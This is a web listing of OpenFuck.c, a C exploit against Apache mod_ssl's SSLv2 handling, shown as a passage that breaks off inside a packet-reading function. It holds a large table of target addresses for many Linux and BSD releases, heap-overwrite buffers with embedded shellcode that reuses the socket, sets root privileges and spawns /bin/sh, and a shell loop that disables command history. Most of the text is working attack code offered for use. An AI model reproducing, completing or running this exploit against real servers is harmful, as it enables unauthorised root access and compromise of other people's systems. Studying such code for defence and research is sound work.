home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / OpenFuck.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  34KB  |  1,434 lines

  1. /*
  2.  * VERY PRIV8 spabam SPAX@zone-h.org
  3.  * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
  4.  *
  5.  */
  6.  
  7. #include <arpa/inet.h>
  8. #include <netinet/in.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <netdb.h>
  12. #include <errno.h>
  13. #include <string.h>
  14. #include <stdio.h>
  15. #include <unistd.h>
  16.  
  17. #include <openssl/ssl.h>
  18. #include <openssl/rsa.h>
  19. #include <openssl/x509.h>
  20. #include <openssl/evp.h>
  21.  
  22. /* update this if you add architectures */
  23. #define MAX_ARCH 132
  24.  
  25. struct archs {
  26.     char* desc;
  27.     int func_addr;    /* objdump -R /usr/sbin/apache | grep free */
  28. } architectures[] = {
  29.  
  30.         {
  31.                 "Caldera OpenLinux (apache-1.3.26)",
  32.                 0x080920e0
  33.         },
  34.     {
  35.         "Cobalt Sun 6.0 (apache-1.3.12)",
  36.         0x8120f0c
  37.     },
  38.     {
  39.         "Cobalt Sun 6.0 (apache-1.3.20)",
  40.         0x811dcb8
  41.     },
  42.     {
  43.         "Cobalt Sun x (apache-1.3.26)",
  44.         0x8123ac3
  45.     },
  46.     {
  47.         "Cobalt Sun x Fixed2 (apache-1.3.26)",
  48.         0x81233c3
  49.     },
  50.     {
  51.         "Conectiva 4 (apache-1.3.6)",
  52.         0x08075398
  53.     },
  54.     {
  55.         "Conectiva 4.1 (apache-1.3.9)",
  56.         0x0808f2fe
  57.     },
  58.     {
  59.         "Conectiva 6 (apache-1.3.14)",
  60.         0x0809222c
  61.     },
  62.     {
  63.         "Conectiva 7 (apache-1.3.12)",
  64.         0x0808f874
  65.     },
  66.     {
  67.         "Conectiva 7 (apache-1.3.19)",
  68.         0x08088aa0
  69.     },
  70.     {
  71.         "Conectiva 7/8 (apache-1.3.26)",
  72.         0x0808e628
  73.     },
  74.     {
  75.         "Conectiva 8 (apache-1.3.22)",
  76.         0x0808b2d0
  77.     },
  78.     {
  79.         "Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)",
  80.         0x08095264
  81.     },
  82.     {
  83.         "Debian GNU Linux (apache_1.3.19-1)",
  84.         0x080966fc
  85.     },
  86.     {
  87.         "Debian GNU Linux (apache_1.3.22-2)",
  88.         0x08096aac
  89.     },
  90.     {
  91.         "Debian GNU Linux (apache-1.3.22-2.1)",
  92.         0x08083828
  93.     },
  94.     {
  95.         "Debian GNU Linux (apache-1.3.22-5)",
  96.         0x08083728
  97.     },
  98.     {
  99.         "Debian GNU Linux (apache_1.3.23-1)",
  100.         0x08085de8
  101.     },
  102.     {
  103.         "Debian GNU Linux (apache_1.3.24-2.1)",
  104.         0x08087d08
  105.     },
  106.         {       "Debian Linux GNU Linux 2 (apache_1.3.24-2.1)",
  107.             0x080873ac
  108.     },
  109.     {
  110.         "Debian GNU Linux (apache_1.3.24-3)",
  111.         0x08087d68
  112.     },
  113.     {
  114.         "Debian GNU Linux (apache-1.3.26-1)",
  115.         0x0080863c4
  116.     },
  117.     {
  118.         "Debian GNU Linux 3.0 Woody (apache-1.3.26-1)",
  119.         0x080863cc
  120.     },
  121.     {       "Debian GNU Linux (apache-1.3.27)",
  122.             0x0080866a3
  123.     },
  124.     
  125.     /* targets de BSD */
  126.  
  127. { "FreeBSD (apache-1.3.9)", 0xbfbfde00 },
  128. { "FreeBSD (apache-1.3.11)", 0x080a2ea8 },
  129. { "FreeBSD (apache-1.3.12.1.40)", 0x080a7f58 },
  130. { "FreeBSD (apache-1.3.12.1.40)", 0x080a0ec0 },
  131. { "FreeBSD (apache-1.3.12.1.40)", 0x080a7e7c },
  132. { "FreeBSD (apache-1.3.12.1.40_1)", 0x080a7f18 },
  133. { "FreeBSD (apache-1.3.12)", 0x0809bd7c },
  134. { "FreeBSD (apache-1.3.14)", 0xbfbfdc00 },
  135. { "FreeBSD (apache-1.3.14)", 0x080ab68c },
  136. { "FreeBSD (apache-1.3.14)", 0x0808c76c },
  137. { "FreeBSD (apache-1.3.14)", 0x080a3fc8 },
  138. { "FreeBSD (apache-1.3.14)", 0x080ab6d8 },
  139. { "FreeBSD (apache-1.3.17_1)", 0x0808820c },
  140. { "FreeBSD (apache-1.3.19)", 0xbfbfdc00 },
  141. { "FreeBSD (apache-1.3.19_1)", 0x0808c96c },
  142. { "FreeBSD (apache-1.3.20)", 0x0808cb70 },
  143. { "FreeBSD (apache-1.3.20)", 0xbfbfc000 },
  144. { "FreeBSD (apache-1.3.20+2.8.4)", 0x0808faf8 },
  145. { "FreeBSD (apache-1.3.20_1)", 0x0808dfb4 },
  146. { "FreeBSD (apache-1.3.22)", 0xbfbfc000 },
  147. { "FreeBSD (apache-1.3.22_7)", 0x0808d110 },
  148. { "FreeBSD (apache_fp-1.3.23)", 0x0807c5f8 },
  149. { "FreeBSD (apache-1.3.24_7)", 0x0808f8b0 },
  150. { "FreeBSD (apache-1.3.24+2.8.8)", 0x080927f8 },
  151. { "FreeBSD 4.6.2-Release-p6 (apache-1.3.26)", 0x080c432c },
  152. { "FreeBSD 4.6-Realease (apache-1.3.26)", 0x0808fdec },
  153. { "FreeBSD (apache-1.3.27)", 0x080902e4 },
  154.  
  155.     
  156.  
  157.     {
  158.         "Gentoo Linux (apache-1.3.24-r2)",
  159.         0x08086c34
  160.     },
  161.     {
  162.         "Mandrake Linux X.x (apache-1.3.22-10.1mdk)",
  163.         0x080808ab
  164.     },
  165.     {
  166.         "Mandrake Linux 7.1 (apache-1.3.14-2)",
  167.         0x0809f6c4
  168.     },
  169.     {
  170.         "Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)",
  171.         0x0809d233
  172.     },
  173.     {
  174.         "Mandrake Linux 7.2 (apache-1.3.14-2mdk)",
  175.         0x0809f6ef
  176.     },
  177.     {
  178.         "Mandrake Linux 7.2 (apache-1.3.14) 2",
  179.         0x0809d6c4
  180.     },
  181.     {
  182.         "Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)",
  183.         0x0809ccde
  184.     },
  185.     {
  186.         "Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)",
  187.         0x0809ce14
  188.     },
  189.     {
  190.         "Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)",
  191.         0x0809d262
  192.     },
  193.     {
  194.         "Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)",
  195.         0x08083545
  196.     },
  197.     {
  198.         "Mandrake Linux 8.0 (apache-1.3.19-3)",
  199.         0x0809ea98
  200.     },
  201.     {
  202.         "Mandrake Linux 8.1 (apache-1.3.20-3)",
  203.         0x0809e97c
  204.     },
  205.     {
  206.         "Mandrake Linux 8.2 (apache-1.3.23-4)",
  207.         0x08086580
  208.     },
  209.     {       "Mandrake Linux 8.2 #2 (apache-1.3.23-4)",
  210.             0x08086484
  211.     },
  212.     {       "Mandrake Linux 8.2 (apache-1.3.24)",
  213.             0x08086665
  214.     },
  215.     {
  216.         "RedHat Linux ?.? GENERIC (apache-1.3.12-1)",
  217.         0x0808c0f4
  218.     },
  219.     {
  220.         "RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)",
  221.         0x080d2c35
  222.     },
  223.     {
  224.         "RedHat Linux 4.2 (apache-1.1.3-3)",
  225.         0x08065bae
  226.     },
  227.     {
  228.         "RedHat Linux 5.0 (apache-1.2.4-4)",
  229.         0x0808c82c
  230.     },
  231.     {
  232.         "RedHat Linux 5.1-Update (apache-1.2.6)",
  233.         0x08092a45
  234.     },
  235.     {
  236.         "RedHat Linux 5.1 (apache-1.2.6-4)",
  237.         0x08092c2d
  238.     },
  239.     {
  240.         "RedHat Linux 5.2 (apache-1.3.3-1)",
  241.         0x0806f049
  242.     },
  243.     {
  244.         "RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)",
  245.         0x0808e4d8
  246.     },
  247.     {
  248.         "RedHat Linux 6.0 (apache-1.3.6-7)",
  249.         0x080707ec
  250.     },
  251.     {
  252.         "RedHat Linux 6.0 (apache-1.3.6-7)",
  253.         0x080707f9
  254.     },
  255.     {
  256.         "RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)",
  257.         0x0808fd52
  258.     },
  259.     {
  260.         "RedHat Linux 6.0 Update (apache-1.3.24)",
  261.         0x80acd58
  262.     },
  263.     {
  264.         "RedHat Linux 6.1 (apache-1.3.9-4)1",
  265.         0x0808ccc4
  266.     },
  267.     {
  268.         "RedHat Linux 6.1 (apache-1.3.9-4)2",
  269.         0x0808ccdc
  270.     },
  271.     {
  272.         "RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)",
  273.         0x0808fd5d
  274.     },
  275.     {
  276.         "RedHat Linux 6.1-fp2000 (apache-1.3.26)",
  277.         0x082e6fcd
  278.     },
  279.     {
  280.         "RedHat Linux 6.2 (apache-1.3.12-2)1",
  281.         0x0808f689
  282.     },
  283.     {
  284.         "RedHat Linux 6.2 (apache-1.3.12-2)2",
  285.         0x0808f614
  286.     },
  287.     {
  288.         "RedHat Linux 6.2 update (apache-1.3.22-5.6)1",
  289.         0x0808f9ec
  290.     },
  291.     {
  292.         "RedHat Linux 6.2-Update (apache-1.3.22-5.6)2",
  293.         0x0808f9d4
  294.     },
  295.     {
  296.         "Redhat Linux 7.x (apache-1.3.22)",
  297.         0x0808400c
  298.     },
  299.     {
  300.         "RedHat Linux 7.x (apache-1.3.26-1)",
  301.         0x080873bc
  302.     },
  303.     {       "RedHat Linux 7.x (apache-1.3.27)",
  304.             0x08087221
  305.     },
  306.     {
  307.         "RedHat Linux 7.0 (apache-1.3.12-25)1",
  308.         0x0809251c
  309.     },
  310.     {
  311.         "RedHat Linux 7.0 (apache-1.3.12-25)2",
  312.         0x0809252d
  313.     },
  314.     {
  315.         "RedHat Linux 7.0 (apache-1.3.14-2)",
  316.         0x08092b98
  317.     },
  318.         {
  319.         "RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)",
  320.         0x08084358
  321.     },
  322.     {
  323.         "RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)",
  324.         0x0808438c
  325.     },
  326.     {
  327.         "RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)",
  328.         0x08086e41
  329.     },
  330.     {
  331.         "RedHat Linux 7.1 (apache-1.3.19-5)1",
  332.         0x0809af8c
  333.     },
  334.     {
  335.         "RedHat Linux 7.1 (apache-1.3.19-5)2",
  336.         0x0809afd9
  337.     },
  338.     {
  339.         "RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)",
  340.         0x0808438c
  341.     },
  342.     {
  343.         "RedHat Linux 7.1-Update (1.3.22-5.7.1)",
  344.         0x08084389
  345.     },
  346.         {
  347.         "RedHat Linux 7.1 (apache-1.3.22-src)",
  348.             0x0816021c
  349.         },
  350.         {
  351.         "RedHat Linux 7.1-Update (1.3.27-1.7.1)",
  352.         0x08086ec89
  353.     },
  354.     {
  355.         "RedHat Linux 7.2 (apache-1.3.20-16)1",
  356.         0x080994e5
  357.     },
  358.     {
  359.         "RedHat Linux 7.2 (apache-1.3.20-16)2",
  360.         0x080994d4
  361.     },
  362.     {
  363.         "RedHat Linux 7.2-Update (apache-1.3.22-6)",
  364.         0x08084045
  365.     },
  366.     {
  367.         "RedHat Linux 7.2 (apache-1.3.24)",
  368.         0x80b0938
  369.     },
  370.     {
  371.         "RedHat Linux 7.2 (apache-1.3.26)",
  372.         0x08161c16
  373.     },
  374.     {
  375.         "RedHat Linux 7.2 (apache-1.3.26-snc)",
  376.         0x8161c14
  377.     },
  378.     {
  379.  
  380.         "Redhat Linux 7.2 (apache-1.3.26 w/PHP)1",
  381.         0x08269950
  382.     },
  383.     {
  384.         "Redhat Linux 7.2 (apache-1.3.26 w/PHP)2",
  385.         0x08269988
  386.     },
  387.     {
  388.         "RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)",
  389.         0x08086af9
  390.     },
  391.     {
  392.         "RedHat Linux 7.3 (apache-1.3.23-11)1",
  393.         0x0808528c
  394.     },
  395.     {
  396.         "RedHat Linux 7.3 (apache-1.3.23-11)2",
  397.         0x0808525f
  398.     },
  399.     {       "RedHat Linux 8.0 (apache-1.3.27)",
  400.             0x08084c1c
  401.         },
  402.         {       "RedHat Linux 8.0-second (apache-1.3.27)",
  403.                 0x0808151e
  404.         },
  405.     {
  406.         "Slackware Linux 4.0 (apache-1.3.6)",
  407.         0x08088130
  408.     },
  409.     {
  410.         "Slackware Linux 7.0 (apache-1.3.9)",
  411.         0x080a7fc0
  412.     },
  413.     {
  414.         "Slackware Linux 7.0 (apache-1.3.26)",
  415.         0x083d37fc
  416.     },
  417.         {       "Slackware 7.0  (apache-1.3.26)2",
  418.         0x083d2232
  419.     },
  420.     {
  421.         "Slackware Linux 7.1 (apache-1.3.12)",
  422.         0x080a86a4
  423.     },
  424.     {
  425.         "Slackware Linux 8.0 (apache-1.3.20)",
  426.         0x080ae67c
  427.     },
  428.     {
  429.         "Slackware Linux 8.1 (apache-1.3.24)",
  430.         0x080b0c60
  431.     },
  432.     {
  433.         "Slackware Linux 8.1 (apache-1.3.26)",
  434.         0x080b2100
  435.     },
  436.  
  437.     {
  438.         "Slackware Linux 8.1-stable (apache-1.3.26)",
  439.         0x080b0c60
  440.     },
  441.     {       "Slackware Linux (apache-1.3.27)",
  442.             0x080b1a3a
  443.     },
  444.     {
  445.         "SuSE Linux 7.0 (apache-1.3.12)",
  446.         0x0809f54c
  447.     },
  448.     {
  449.         "SuSE Linux 7.1 (apache-1.3.17)",
  450.         0x08099984
  451.     },
  452.     {
  453.         "SuSE Linux 7.2 (apache-1.3.19)",
  454.         0x08099ec8
  455.     },
  456.     {
  457.         "SuSE Linux 7.3 (apache-1.3.20)",
  458.         0x08099da8
  459.     },
  460.     {
  461.         "SuSE Linux 8.0 (apache-1.3.23)",
  462.         0x08086168
  463.     },
  464.     {
  465.         "SUSE Linux 8.0 (apache-1.3.23-120)",
  466.         0x080861c8
  467.     },
  468.     {
  469.         "SuSE Linux 8.0 (apache-1.3.23-137)",
  470.         0x080861c8
  471.     },
  472.     {
  473.         "Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)",
  474.         0xfd42630
  475.     },
  476.     
  477. /*
  478.  * Offset still unchecked
  479.  * some guys giveme them
  480.  */
  481.  
  482. {
  483.     "RedHat Linux 6.0 (apache-1.3.6-7)",
  484.     0x080707ec
  485. },
  486. {
  487.     "RedHat Linux 6.1 (apache-1.3.9-4)",
  488.     0x0808ccc4
  489. },
  490. {
  491.     "RedHat Linux 6.2 (apache-1.3.12-2)",
  492.     0x0808f614
  493. },
  494. {
  495.     "RedHat Linux 7.0 (apache-1.3.12-25)",
  496.     0x0809251c
  497. },
  498. {
  499.     "RedHat Linux 7.1 (apache-1.3.19-5)",
  500.     0x0809af8c
  501. },
  502. {
  503.     "RedHat Linux 7.2 (apache-1.3.20-16)",
  504.     0x080994d4
  505. },
  506. {
  507.     "RedHat Linux 7.2 (apache 1.3.26-src)",
  508.     0x08161c14
  509. },
  510. {
  511.     "RedHat Linux 7.3 (apache-1.3.23-11)",
  512.     0x0808528c
  513. },
  514. {
  515.     "SuSE Linux 7.0 (apache-1.3.12)",
  516.     0x0809f54c
  517. },
  518. {
  519.     "SuSE Linux 7.1 (apache-1.3.17)",
  520.     0x08099984
  521. },
  522. {
  523.     "SuSE Linux 7.2 (apache-1.3.19)",
  524.     0x08099ec8
  525. },
  526. {
  527.     "SuSE Linux 7.3 (apache-1.3.20)",
  528.     0x08099da8
  529. },
  530. {
  531.     "SuSE Linux 8.0 (apache-1.3.23)",
  532.     0x08086168
  533. },
  534. {
  535.     "SuSE Linux 8.0 (apache-1.3.23) second",
  536.     0x080861c8
  537. },
  538. {
  539.     "Mandrake Linux 7.1 (apache-1.3.14-2)",
  540.     0x0809d6c4
  541. },
  542. {
  543.     "Mandrake Linux 8.0 (apache-1.3.19-3)",
  544.     0x0809ea98
  545. },
  546. {
  547.     "Mandrake Linux 8.1 (apache-1.3.20-3)",
  548.     0x0809e97c
  549. },
  550. {
  551.     "Mandrake Linux 8.2 (apache-1.3.23-4)",
  552.     0x08086580
  553. },
  554. {
  555.     "Slackware 7.1 (apache-1.3.26)",
  556.     0x083d37fc
  557. },
  558. {
  559.         "Slackware 8.0 (apache-1.3.22)",
  560.         0x08102b78
  561. },
  562. {
  563.     "Slackware 8.1 (apache-1.3.26)",
  564.     0x080b2100
  565. },
  566. {
  567.     "Mandrake 7.2 Extranet Server (apache-1.3.14)",
  568.     0x0809f6c4
  569. },
  570.  
  571. };
  572.  
  573. extern int errno;
  574.  
  575. int cipher;
  576. int ciphers;
  577.  
  578. /* the offset of the local port from be beginning of the overwrite next chunk buffer */
  579. #define FINDSCKPORTOFS     208 + 12 + 46
  580.  
  581. unsigned char overwrite_session_id_length[] =
  582.     "AAAA"                                /* int master key length; */
  583.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"    /* unsigned char master key[SSL MAX MASTER KEY LENGTH];    
  584. */
  585.     "\x70\x00\x00\x00";                    /* unsigned int session id length; */
  586.  
  587. unsigned char overwrite_next_chunk[] =
  588.     "AAAA"                                /* int master key length; */
  589.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"    /* unsigned char master key[SSL MAX MASTER KEY LENGTH];    
  590. */
  591.     "AAAA"                                /* unsigned int session id length; */
  592.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"    /* unsigned char session id[SSL MAX SSL SESSION ID LENGTH]; */
  593.     "AAAA"                                /* unsigned int sid ctx length; */
  594.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"    /* unsigned char sid ctx[SSL MAX SID CTX LENGTH]; */
  595.     "AAAA"                                /* int not resumable; */
  596.     "\x00\x00\x00\x00"                    /* struct sess cert st *sess cert; */
  597.     "\x00\x00\x00\x00"                    /* X509 *peer; */
  598.     "AAAA"                                /* long verify result; */
  599.     "\x01\x00\x00\x00"                    /* int references; */
  600.     "AAAA"                                /* int timeout; */
  601.     "AAAA"                                /* int time */
  602.     "AAAA"                                /* int compress meth; */
  603.     "\x00\x00\x00\x00"                    /* SSL CIPHER *cipher; */
  604.     "AAAA"                                /* unsigned long cipher id; */
  605.     "\x00\x00\x00\x00"                    /* STACK OF(SSL CIPHER) *ciphers; */
  606.     "\x00\x00\x00\x00\x00\x00\x00\x00"    /* CRYPTO EX DATA ex data; */
  607.     "AAAAAAAA"                            /* struct ssl session st *prev,*next; */
  608.  
  609.     "\x00\x00\x00\x00"                    /* Size of previous chunk */
  610.     "\x11\x00\x00\x00"                    /* Size of chunk, in bytes */
  611.     "fdfd"                                /* Forward and back pointers */
  612.     "bkbk"
  613.     "\x10\x00\x00\x00"                    /* Size of previous chunk */
  614.     "\x10\x00\x00\x00"                    /* Size of chunk, PREV INUSE is set */
  615.  
  616. /* shellcode start */
  617.     "\xeb\x0a\x90\x90"    /* jump 10 bytes ahead, land at shellcode */
  618.     "\x90\x90\x90\x90"
  619.     "\x90\x90\x90\x90"    /* this is overwritten with FD by the unlink macro */
  620.  
  621. /* 72 bytes findsckcode by LSD-pl */
  622.     "\x31\xdb"             /* xorl    %ebx,%ebx              */
  623.     "\x89\xe7"             /* movl    %esp,%edi              */
  624.     "\x8d\x77\x10"         /* leal    0x10(%edi),%esi        */
  625.     "\x89\x77\x04"         /* movl    %esi,0x4(%edi)         */
  626.     "\x8d\x4f\x20"         /* leal    0x20(%edi),%ecx        */
  627.     "\x89\x4f\x08"         /* movl    %ecx,0x8(%edi)         */
  628.     "\xb3\x10"             /* movb    $0x10,%bl              */
  629.     "\x89\x19"             /* movl    %ebx,(%ecx)            */
  630.     "\x31\xc9"             /* xorl    %ecx,%ecx              */
  631.     "\xb1\xff"             /* movb    $0xff,%cl              */
  632.     "\x89\x0f"             /* movl    %ecx,(%edi)            */
  633.     "\x51"                 /* pushl   %ecx                   */
  634.     "\x31\xc0"             /* xorl    %eax,%eax              */
  635.     "\xb0\x66"             /* movb    $0x66,%al              */
  636.     "\xb3\x07"             /* movb    $0x07,%bl              */
  637.     "\x89\xf9"             /* movl    %edi,%ecx              */
  638.     "\xcd\x80"             /* int     $0x80                  */
  639.     "\x59"                 /* popl    %ecx                   */
  640.     "\x31\xdb"             /* xorl    %ebx,%ebx              */
  641.     "\x39\xd8"             /* cmpl    %ebx,%eax              */
  642.     "\x75\x0a"             /* jne     <findsckcode+54>       */
  643.     "\x66\xb8\x12\x34"     /* movw    $0x1234,%bx            */
  644.     "\x66\x39\x46\x02"     /* cmpw    %bx,0x2(%esi)          */
  645.     "\x74\x02"             /* je      <findsckcode+56>       */
  646.     "\xe2\xe0"             /* loop    <findsckcode+24>       */
  647.     "\x89\xcb"             /* movl    %ecx,%ebx              */
  648.     "\x31\xc9"             /* xorl    %ecx,%ecx              */
  649.     "\xb1\x03"             /* movb    $0x03,%cl              */
  650.     "\x31\xc0"             /* xorl    %eax,%eax              */
  651.     "\xb0\x3f"             /* movb    $0x3f,%al              */
  652.     "\x49"                 /* decl    %ecx                   */
  653.     "\xcd\x80"             /* int     $0x80                  */
  654.     "\x41"                 /* incl    %ecx                   */
  655.     "\xe2\xf6"             /* loop    <findsckcode+62>       */
  656.  
  657. /* 10 byte setresuid(0,0,0); by core */
  658.      "\x31\xc9"       /* xor    %ecx,%ecx */
  659.      "\xf7\xe1"       /* mul    %ecx,%eax */
  660.      "\x51"           /* push   %ecx */
  661.      "\x5b"           /* pop    %ebx */
  662.      "\xb0\xa4"       /* mov    $0xa4,%al */
  663.      "\xcd\x80"       /* int    $0x80 */
  664.  
  665.     
  666. /* bigger shellcode added by spabam */
  667.  
  668. /* "\xB8\x2F\x73\x68\x23\x25\x2F\x73\x68\xDC\x50\x68\x2F\x62\x69"
  669.         "\x6E\x89\xE3\x31\xC0\x50\x53\x89\xE1\x04\x0B\x31\xD2\xCD\x80"
  670. */
  671.  
  672.  
  673. /* 24 bytes execl("/bin/sh", "/bin/sh", 0); by LSD-pl */
  674.     "\x31\xc0"             /* xorl    %eax,%eax              */
  675.     "\x50"                 /* pushl   %eax                   */
  676.     "\x68""//sh"           /* pushl   $0x68732f2f            */
  677.     "\x68""/bin"           /* pushl   $0x6e69622f            */
  678.     "\x89\xe3"             /* movl    %esp,%ebx              */
  679.     "\x50"                 /* pushl   %eax                   */
  680.     "\x53"                 /* pushl   %ebx                   */
  681.     "\x89\xe1"             /* movl    %esp,%ecx              */
  682.     "\x99"                 /* cdql                           */
  683.     "\xb0\x0b"             /* movb    $0x0b,%al              */
  684.     "\xcd\x80";             /* int     $0x80                  */
  685.  
  686. /* read and write buffer*/
  687. #define BUFSIZE 16384
  688.  
  689. /* hardcoded protocol stuff */
  690. #define CHALLENGE_LENGTH 16
  691. #define RC4_KEY_LENGTH 16    /* 128 bits */
  692. #define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
  693.  
  694. /* straight from the openssl source */
  695. #define n2s(c,s)    ((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1]))    )),c+=2)
  696. #define s2n(s,c)    ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s)    )&0xff)),c+=2)
  697.  
  698. /* we keep all SSL2 state in this structure */
  699. typedef struct {
  700.     int sock;
  701.  
  702.     /* client stuff */
  703.     unsigned char challenge[CHALLENGE_LENGTH];
  704.     unsigned char master_key[RC4_KEY_LENGTH];
  705.     unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
  706.  
  707.     /* connection id - returned by the server */
  708.     int conn_id_length;
  709.     unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
  710.  
  711.     /* server certificate */
  712.     X509 *x509;
  713.  
  714.     /* session keys */
  715.     unsigned char* read_key;
  716.     unsigned char* write_key;
  717.     RC4_KEY* rc4_read_key;
  718.     RC4_KEY* rc4_write_key;
  719.  
  720.     /* sequence numbers, used for MAC calculation */
  721.     int read_seq;
  722.     int write_seq;
  723.  
  724.     /* set to 1 when the SSL2 handshake is complete */
  725.     int encrypted;
  726. } ssl_conn;
  727.  
  728. #define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n"
  729. #define COMMAND2 "unset HISTFILE; uname -a; id; echo SPABAM R0X; pwd; w;\n"
  730.  
  731. long getip(char *hostname) {
  732.     struct hostent *he;
  733.     long ipaddr;
  734.     
  735.     if ((ipaddr = inet_addr(hostname)) < 0) {
  736.         if ((he = gethostbyname(hostname)) == NULL) {
  737.             perror("gethostbyname()");
  738.             exit(-1);
  739.         }
  740.         memcpy(&ipaddr, he->h_addr, he->h_length);
  741.     }    
  742.     return ipaddr;
  743. }
  744.  
  745. /* mixter's code w/enhancements by core */
  746.  
  747. int sh(int sockfd) {
  748.    char snd[1024], rcv[1024];
  749.    fd_set rset;
  750.    int maxfd, n;
  751.  
  752.    /* Priming commands */
  753.    strcpy(snd, COMMAND1 "\n");
  754.    write(sockfd, snd, strlen(snd));
  755.  
  756.    strcpy(snd, COMMAND2 "\n");
  757.    write(sockfd, snd, strlen(snd));
  758.  
  759.    /* Main command loop */
  760.    for (;;) {
  761.       FD_SET(fileno(stdin), &rset);
  762.       FD_SET(sockfd, &rset);
  763.  
  764.       maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
  765.       select(maxfd, &rset, NULL, NULL, NULL);
  766.  
  767.       if (FD_ISSET(fileno(stdin), &rset)) {
  768.      bzero(snd, sizeof(snd));
  769.      fgets(snd, sizeof(snd)-2, stdin);
  770.      write(sockfd, snd, strlen(snd));
  771.       }
  772.  
  773.       if (FD_ISSET(sockfd, &rset)) {
  774.      bzero(rcv, sizeof(rcv));
  775.  
  776.      if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
  777.         printf("Good Bye!\n");
  778.         return 0;
  779.      }
  780.  
  781.      if (n < 0) {
  782.         perror("read");
  783.         return 1;
  784.      }
  785.  
  786.      fputs(rcv, stdout);
  787.      fflush(stdout); /* keeps output nice */
  788.       }
  789.    } /* for(;;) */
  790. }
  791.  
  792. /* Returns the local port of a connected socket */
  793. int get_local_port(int sock)
  794. {
  795.     struct sockaddr_in s_in;
  796.     unsigned int namelen = sizeof(s_in);
  797.  
  798.     if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) {
  799.         printf("Can't get local port: %s\n", strerror(errno));
  800.         exit(1);
  801.     }
  802.  
  803.     return s_in.sin_port;
  804. }
  805.  
  806. /* Connect to a host */
  807. int connect_host(char* host, int port)
  808. {
  809.     struct sockaddr_in s_in;
  810.     int sock;
  811.  
  812.     s_in.sin_family = AF_INET;
  813.     s_in.sin_addr.s_addr = getip(host);
  814.     s_in.sin_port = htons(port);
  815.  
  816.     if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) {
  817.         printf("Could not create a socket\n");
  818.         exit(1);
  819.     }
  820.  
  821.     if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
  822.         printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));
  823.         exit(1);
  824.     }
  825.  
  826.     return sock;
  827. }
  828.  
  829. /* Create a new ssl conn structure and connect to a host */
  830. ssl_conn* ssl_connect_host(char* host, int port)
  831. {
  832.     ssl_conn* ssl;
  833.  
  834.     if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) {
  835.         printf("Can't allocate memory\n");
  836.         exit(1);
  837.     }
  838.  
  839.     /* Initialize some values */
  840.     ssl->encrypted = 0;
  841.     ssl->write_seq = 0;
  842.     ssl->read_seq = 0;
  843.  
  844.     ssl->sock = connect_host(host, port);
  845.  
  846.     return ssl;
  847. }
  848.  
  849. /* global buffer used by the ssl result() */
  850. char res_buf[30];
  851.  
  852. /* converts an SSL error code to a string */
  853. char* ssl_error(int code) {
  854.     switch (code) {
  855.         case 0x00:    return "SSL2 PE UNDEFINED ERROR (0x00)";
  856.         case 0x01:    return "SSL2 PE NO CIPHER (0x01)";
  857.         case 0x02:    return "SSL2 PE NO CERTIFICATE (0x02)";
  858.         case 0x04:    return "SSL2 PE BAD CERTIFICATE (0x03)";
  859.         case 0x06:    return "SSL2 PE UNSUPPORTED CERTIFICATE TYPE (0x06)";
  860.     default:
  861.         sprintf(res_buf, "%02x", code);
  862.         return res_buf;
  863.     }
  864. }
  865.  
  866. /* read len bytes from a socket. boring. */
  867. int read_data(int sock, unsigned char* buf, int len)
  868. {
  869.     int l;
  870.     int to_read = len;
  871.  
  872.     do {
  873.         if ((l = read(sock, buf, to_read)) < 0) {
  874.             printf("Error in read: %s\n", strerror(errno));
  875.             exit(1);
  876.         }
  877.         to_read -= len;
  878.     } while (to_read > 0);
  879.  
  880.     return len;
  881. }
  882.  
  883. /* reads an SSL packet and decrypts it if necessery */
  884. int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size)
  885. {
  886.     int rec_len, padding;
  887.  
  888.     read_data(ssl->sock, buf, 2);
  889.  
  890.     if ((buf[0] & 0x80) == 0) {
  891.         /* three byte header */
  892.         rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
  893.         read_data(ssl->sock, &buf[2], 1);
  894.         padding = (int)buf[2];
  895.     }
  896.     else {
  897.         /* two byte header */
  898.         rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
  899.         padding = 0;
  900.     }
  901.  
